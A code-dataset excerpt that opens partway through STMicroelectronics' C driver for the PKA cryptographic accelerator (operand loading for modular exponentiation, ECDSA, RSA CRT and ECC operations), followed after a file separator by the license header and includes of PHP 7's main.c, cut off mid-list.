for (; index < (n / 4UL); index++)
{
/* Apply the equivalent of __REV from uint8_t to uint32_t */
dst[index] = ((uint32_t)src[(n - (index * 4UL) - 1UL)]) \
| ((uint32_t)src[(n - (index * 4UL) - 2UL)] << 8UL) \
| ((uint32_t)src[(n - (index * 4UL) - 3UL)] << 16UL) \
| ((uint32_t)src[(n - (index * 4UL) - 4UL)] << 24UL);
}
/* Manage the buffers not aligned on uint32_t */
if ((n % 4UL) == 1UL)
{
dst[index] = (uint32_t)src[(n - (index * 4UL) - 1UL)];
}
else if ((n % 4UL) == 2UL)
{
dst[index] = ((uint32_t)src[(n - (index * 4UL) - 1UL)]) \
| ((uint32_t)src[(n - (index * 4UL) - 2UL)] << 8UL);
}
else if ((n % 4UL) == 3UL)
{
dst[index] = ((uint32_t)src[(n - (index * 4UL) - 1UL)]) \
| ((uint32_t)src[(n - (index * 4UL) - 2UL)] << 8UL) \
| ((uint32_t)src[(n - (index * 4UL) - 3UL)] << 16UL);
}
else
{
/* The last element is already handle in the loop */
}
}
}
}
/**
* @brief Copy uint32_t array to uint32_t array.
* @param dst Pointer to destination
* @param src Pointer to source
* @param n Number of u32 to be handled
* @retval dst
*/
void PKA_Memcpy_u32_to_u32(__IO uint32_t dst[], __IO const uint32_t src[], size_t n)
{
/* If a destination buffer is provided */
if (dst != NULL)
{
/* If a source buffer is provided */
if (src != NULL)
{
/* For each element in the array */
for (uint32_t index = 0UL; index < n; index++)
{
/* Copy the content */
dst[index] = src[index];
}
}
}
}
/**
* @brief Generic function to start a PKA operation in blocking mode.
* @param hpka PKA handle
* @param mode PKA operation
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef PKA_Process(PKA_HandleTypeDef *hpka, uint32_t mode, uint32_t Timeout)
{
HAL_StatusTypeDef err = HAL_OK;
uint32_t tickstart;
if (hpka->State == HAL_PKA_STATE_READY)
{
/* Set the state to busy */
hpka->State = HAL_PKA_STATE_BUSY;
/* Clear any pending error */
hpka->ErrorCode = HAL_PKA_ERROR_NONE;
/* Init tickstart for timeout management*/
tickstart = HAL_GetTick();
/* Set the mode and deactivate the interrupts */
MODIFY_REG(hpka->Instance->CR, PKA_CR_MODE | PKA_CR_PROCENDIE | PKA_CR_RAMERRIE | PKA_CR_ADDRERRIE, mode << PKA_CR_MODE_Pos);
/* Start the computation */
hpka->Instance->CR |= PKA_CR_START;
/* Wait for the end of operation or timeout */
if (PKA_PollEndOfOperation(hpka, Timeout, tickstart) != HAL_OK)
{
/* Abort any ongoing operation */
CLEAR_BIT(hpka->Instance->CR, PKA_CR_EN);
hpka->ErrorCode |= HAL_PKA_ERROR_TIMEOUT;
/* Make ready for the next operation */
SET_BIT(hpka->Instance->CR, PKA_CR_EN);
}
/* Check error */
hpka->ErrorCode |= PKA_CheckError(hpka, mode);
/* Clear all flags */
hpka->Instance->CLRFR |= (PKA_CLRFR_PROCENDFC | PKA_CLRFR_RAMERRFC | PKA_CLRFR_ADDRERRFC);
/* Set the state to ready */
hpka->State = HAL_PKA_STATE_READY;
/* Manage the result based on encountered errors */
if (hpka->ErrorCode != HAL_PKA_ERROR_NONE)
{
err = HAL_ERROR;
}
}
else
{
err = HAL_ERROR;
}
return err;
}
/**
* @brief Generic function to start a PKA operation in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param mode PKA operation
* @retval HAL status
*/
HAL_StatusTypeDef PKA_Process_IT(PKA_HandleTypeDef *hpka, uint32_t mode)
{
HAL_StatusTypeDef err = HAL_OK;
if (hpka->State == HAL_PKA_STATE_READY)
{
/* Set the state to busy */
hpka->State = HAL_PKA_STATE_BUSY;
/* Clear any pending error */
hpka->ErrorCode = HAL_PKA_ERROR_NONE;
/* Set the mode and activate interrupts */
MODIFY_REG(hpka->Instance->CR, PKA_CR_MODE | PKA_CR_PROCENDIE | PKA_CR_RAMERRIE | PKA_CR_ADDRERRIE, (mode << PKA_CR_MODE_Pos) | PKA_CR_PROCENDIE | PKA_CR_RAMERRIE | PKA_CR_ADDRERRIE);
/* Start the computation */
hpka->Instance->CR |= PKA_CR_START;
}
else
{
err = HAL_ERROR;
}
return err;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ModExp_Set(PKA_HandleTypeDef *hpka, PKA_ModExpInTypeDef *in)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_OP_NB_BITS] = PKA_GetBitSize_u8(in->OpSize);
/* Get the number of bit of the exponent */
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXP_NB_BITS] = PKA_GetBitSize_u8(in->expSize);
/* Move the input parameters pOp1 to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT_BASE], in->pOp1, in->OpSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT_BASE + (in->OpSize / 4UL)] = 0UL;
/* Move the exponent to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT], in->pExp, in->expSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT + (in->expSize / 4UL)] = 0UL;
/* Move the modulus to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MODULUS], in->pMod, in->OpSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MODULUS + (in->OpSize / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ModExpFastMode_Set(PKA_HandleTypeDef *hpka, PKA_ModExpFastModeInTypeDef *in)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_OP_NB_BITS] = PKA_GetBitSize_u8(in->OpSize);
/* Get the number of bit of the exponent */
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXP_NB_BITS] = PKA_GetBitSize_u8(in->expSize);
/* Move the input parameters pOp1 to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT_BASE], in->pOp1, in->OpSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT_BASE + (in->OpSize / 4UL)] = 0UL;
/* Move the exponent to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT], in->pExp, in->expSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_EXPONENT + (in->expSize / 4UL)] = 0UL;
/* Move the modulus to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MODULUS], in->pMod, in->OpSize);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MODULUS + (in->OpSize / 4UL)] = 0UL;
/* Move the Montgomery parameter to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM], in->pMontgomeryParam, in->expSize / 4UL);
hpka->Instance->RAM[PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM + (in->expSize / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ECDSASign_Set(PKA_HandleTypeDef *hpka, PKA_ECDSASignInTypeDef *in)
{
/* Get the prime order n length */
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_ORDER_NB_BITS] = PKA_GetOptBitSize_u8(in->primeOrderSize, *(in->primeOrder));
/* Get the modulus p length */
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_MOD_NB_BITS] = PKA_GetOptBitSize_u8(in->modulusSize, *(in->modulus));
/* Get the coefficient a sign */
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_A_COEFF_SIGN] = in->coefSign;
/* Move the input parameters coefficient |a| to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_A_COEFF], in->coef, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_A_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters modulus value p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_MOD_GF], in->modulus, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_MOD_GF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters integer k to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_K], in->integer, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_K + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters base point G coordinate x to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_INITIAL_POINT_X], in->basePointX, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_INITIAL_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters base point G coordinate y to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y], in->basePointY, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters hash of message z to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_HASH_E], in->hash, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_HASH_E + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters private key d to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D], in->privateKey, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters prime order n to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_ORDER_N], in->primeOrder, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_SIGN_IN_ORDER_N + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ECDSAVerif_Set(PKA_HandleTypeDef *hpka, PKA_ECDSAVerifInTypeDef *in)
{
/* Get the prime order n length */
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_ORDER_NB_BITS] = PKA_GetOptBitSize_u8(in->primeOrderSize, *(in->primeOrder));
/* Get the modulus p length */
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_MOD_NB_BITS] = PKA_GetOptBitSize_u8(in->modulusSize, *(in->modulus));
/* Get the coefficient a sign */
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_A_COEFF_SIGN] = in->coefSign;
/* Move the input parameters coefficient |a| to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_A_COEFF], in->coef, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_A_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters modulus value p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_MOD_GF], in->modulus, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_MOD_GF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters base point G coordinate x to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_INITIAL_POINT_X], in->basePointX, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_INITIAL_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters base point G coordinate y to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y], in->basePointY, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters public-key curve point Q coordinate xQ to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X], in->pPubKeyCurvePtX, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters public-key curve point Q coordinate xQ to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y], in->pPubKeyCurvePtY, in->modulusSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters signature part r to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_SIGNATURE_R], in->RSign, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_SIGNATURE_R + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters signature part s to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_SIGNATURE_S], in->SSign, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_SIGNATURE_S + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters hash of message z to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_HASH_E], in->hash, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_HASH_E + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters curve prime order n to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_ORDER_N], in->primeOrder, in->primeOrderSize);
hpka->Instance->RAM[PKA_ECDSA_VERIF_IN_ORDER_N + ((in->primeOrderSize + 3UL) / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_RSACRTExp_Set(PKA_HandleTypeDef *hpka, PKA_RSACRTExpInTypeDef *in)
{
/* Get the operand length M */
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_MOD_NB_BITS] = PKA_GetBitSize_u8(in->size);
/* Move the input parameters operand dP to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_DP_CRT], in->pOpDp, in->size / 2UL);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_DP_CRT + (in->size / 8UL)] = 0UL;
/* Move the input parameters operand dQ to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_DQ_CRT], in->pOpDq, in->size / 2UL);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_DQ_CRT + (in->size / 8UL)] = 0UL;
/* Move the input parameters operand qinv to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_QINV_CRT], in->pOpQinv, in->size / 2UL);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_QINV_CRT + (in->size / 8UL)] = 0UL;
/* Move the input parameters prime p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_PRIME_P], in->pPrimeP, in->size / 2UL);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_PRIME_P + (in->size / 8UL)] = 0UL;
/* Move the input parameters prime q to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_PRIME_Q], in->pPrimeQ, in->size / 2UL);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_PRIME_Q + (in->size / 8UL)] = 0UL;
/* Move the input parameters operand A to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_EXPONENT_BASE], in->popA, in->size);
hpka->Instance->RAM[PKA_RSA_CRT_EXP_IN_EXPONENT_BASE + (in->size / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_PointCheck_Set(PKA_HandleTypeDef *hpka, PKA_PointCheckInTypeDef *in)
{
/* Get the modulus length */
hpka->Instance->RAM[PKA_POINT_CHECK_IN_MOD_NB_BITS] = PKA_GetOptBitSize_u8(in->modulusSize, *(in->modulus));
/* Get the coefficient a sign */
hpka->Instance->RAM[PKA_POINT_CHECK_IN_A_COEFF_SIGN] = in->coefSign;
/* Move the input parameters coefficient |a| to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_A_COEFF], in->coefA, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_A_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters coefficient b to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_B_COEFF], in->coefB, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_B_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters modulus value p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_MOD_GF], in->modulus, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_MOD_GF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate x to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X], in->pointX, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate y to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y], in->pointY, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ECCMul_Set(PKA_HandleTypeDef *hpka, PKA_ECCMulInTypeDef *in)
{
/* Get the scalar multiplier k length */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS] = PKA_GetOptBitSize_u8(in->scalarMulSize, *(in->scalarMul));
/* Get the modulus length */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS] = PKA_GetOptBitSize_u8(in->modulusSize, *(in->modulus));
/* Get the coefficient a sign */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN] = in->coefSign;
/* Move the input parameters coefficient |a| to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF], in->coefA, in->modulusSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters modulus value p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MOD_GF], in->modulus, in->modulusSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MOD_GF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters scalar multiplier k to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_K], in->scalarMul, in->scalarMulSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_K + ((in->scalarMulSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate x to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X], in->pointX, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate y to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y], in->pointY, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ECCMulFastMode_Set(PKA_HandleTypeDef *hpka, PKA_ECCMulFastModeInTypeDef *in)
{
/* Get the scalar multiplier k length */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS] = PKA_GetOptBitSize_u8(in->scalarMulSize, *(in->scalarMul));
/* Get the modulus length */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS] = PKA_GetOptBitSize_u8(in->modulusSize, *(in->modulus));
/* Get the coefficient a sign */
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN] = in->coefSign;
/* Move the input parameters coefficient |a| to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF], in->coefA, in->modulusSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_A_COEFF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters modulus value p to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MOD_GF], in->modulus, in->modulusSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MOD_GF + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters scalar multiplier k to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_K], in->scalarMul, in->scalarMulSize);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_K + ((in->scalarMulSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate x to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X], in->pointX, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_X + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the input parameters Point P coordinate y to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y], in->pointY, in->modulusSize);
hpka->Instance->RAM[PKA_POINT_CHECK_IN_INITIAL_POINT_Y + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
/* Move the Montgomery parameter to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MONTGOMERY_PARAM], in->pMontgomeryParam, (in->modulusSize + 3UL) / 4UL);
hpka->Instance->RAM[PKA_ECC_SCALAR_MUL_IN_MONTGOMERY_PARAM + ((in->modulusSize + 3UL) / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ModInv_Set(PKA_HandleTypeDef *hpka, PKA_ModInvInTypeDef *in)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_MODULAR_INV_NB_BITS] = PKA_GetBitSize_u32(in->size);
/* Move the input parameters operand A to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_MODULAR_INV_IN_OP1], in->pOp1, in->size);
hpka->Instance->RAM[PKA_MODULAR_INV_IN_OP1 + in->size] = 0UL;
/* Move the input parameters modulus value n to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_INV_IN_OP2_MOD], in->pMod, in->size * 4UL);
hpka->Instance->RAM[PKA_MODULAR_INV_IN_OP2_MOD + in->size] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param in Input information
*/
void PKA_ModRed_Set(PKA_HandleTypeDef *hpka, PKA_ModRedInTypeDef *in)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_OP_LENGTH] = PKA_GetBitSize_u32(in->OpSize);
/* Get the number of bit per modulus */
hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_MOD_LENGTH] = PKA_GetBitSize_u8(in->modSize);
/* Move the input parameters operand A to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_OPERAND], in->pOp1, in->OpSize);
hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_OPERAND + in->OpSize] = 0UL;
/* Move the input parameters modulus value n to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_MODULUS], in->pMod, in->modSize);
hpka->Instance->RAM[PKA_MODULAR_REDUC_IN_MODULUS + (in->modSize / 4UL)] = 0UL;
}
/**
* @brief Set input parameters.
* @param hpka PKA handle
* @param size Size of the operand
* @param pOp1 Generic pointer to input data
*/
void PKA_MontgomeryParam_Set(PKA_HandleTypeDef *hpka, const uint32_t size, const uint8_t *pOp1)
{
if (pOp1 != NULL)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_MONTGOMERY_PARAM_IN_MOD_NB_BITS] = PKA_GetOptBitSize_u8(size, *pOp1);
/* Move the input parameters pOp1 to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_MONTGOMERY_PARAM_IN_MODULUS], pOp1, size);
hpka->Instance->RAM[PKA_MONTGOMERY_PARAM_IN_MODULUS + ((size + 3UL) / 4UL)] = 0UL;
}
}
/**
* @brief Generic function to set input parameters.
* @param hpka PKA handle
* @param size Size of the operand
* @param pOp1 Generic pointer to input data
* @param pOp2 Generic pointer to input data
* @param pOp3 Generic pointer to input data
*/
void PKA_ARI_Set(PKA_HandleTypeDef *hpka, const uint32_t size, const uint32_t *pOp1, const uint32_t *pOp2, const uint8_t *pOp3)
{
/* Get the number of bit per operand */
hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_NB_BITS] = PKA_GetBitSize_u32(size);
if (pOp1 != NULL)
{
/* Move the input parameters pOp1 to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP1], pOp1, size);
hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP1 + size] = 0UL;
}
if (pOp2 != NULL)
{
/* Move the input parameters pOp2 to PKA RAM */
PKA_Memcpy_u32_to_u32(&hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP2], pOp2, size);
hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP2 + size] = 0UL;
}
if (pOp3 != NULL)
{
/* Move the input parameters pOp3 to PKA RAM */
PKA_Memcpy_u8_to_u32(&hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP3], pOp3, size * 4UL);
hpka->Instance->RAM[PKA_ARITHMETIC_ALL_OPS_IN_OP3 + size] = 0UL;
}
}
/**
* @}
*/
/**
* @}
*/
#endif /* defined(PKA) && defined(HAL_PKA_MODULE_ENABLED) */
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
579748.c | /*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2015 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Authors: Andi Gutmans <[email protected]> |
| Rasmus Lerdorf <[email protected]> |
| Zeev Suraski <[email protected]> |
+----------------------------------------------------------------------+
*/
/* $Id$ */
/* {{{ includes
*/
#define ZEND_INCLUDE_FULL_WINDOWS_HEADERS
#include "php.h"
#include <stdio.h>
#include <fcntl.h>
#ifdef PHP_WIN32
#include "win32/time.h"
#include "win32/signal.h"
#include "win32/php_win32_globals.h"
#include "win32/winutil.h"
#include <process.h>
#elif defined(NETWARE)
#include <sys/timeval.h>
#ifdef USE_WINSOCK
#include <novsock2.h>
#endif
#endif
#if HAVE_SYS_TIME_H
#include <sys/time.h>
#endif
#if HAVE_UNISTD_H
#include <unistd.h>
#endif
#if HAVE_SIGNAL_H
#include <signal.h>
#endif
#if HAVE_SETLOCALE
#include <locale.h>
#endif
#include "zend.h"
#include "zend_types.h"
#include "zend_extensions.h"
#include "php_ini.h"
#include "php_globals.h"
#include "php_main.h"
#include "fopen_wrappers.h"
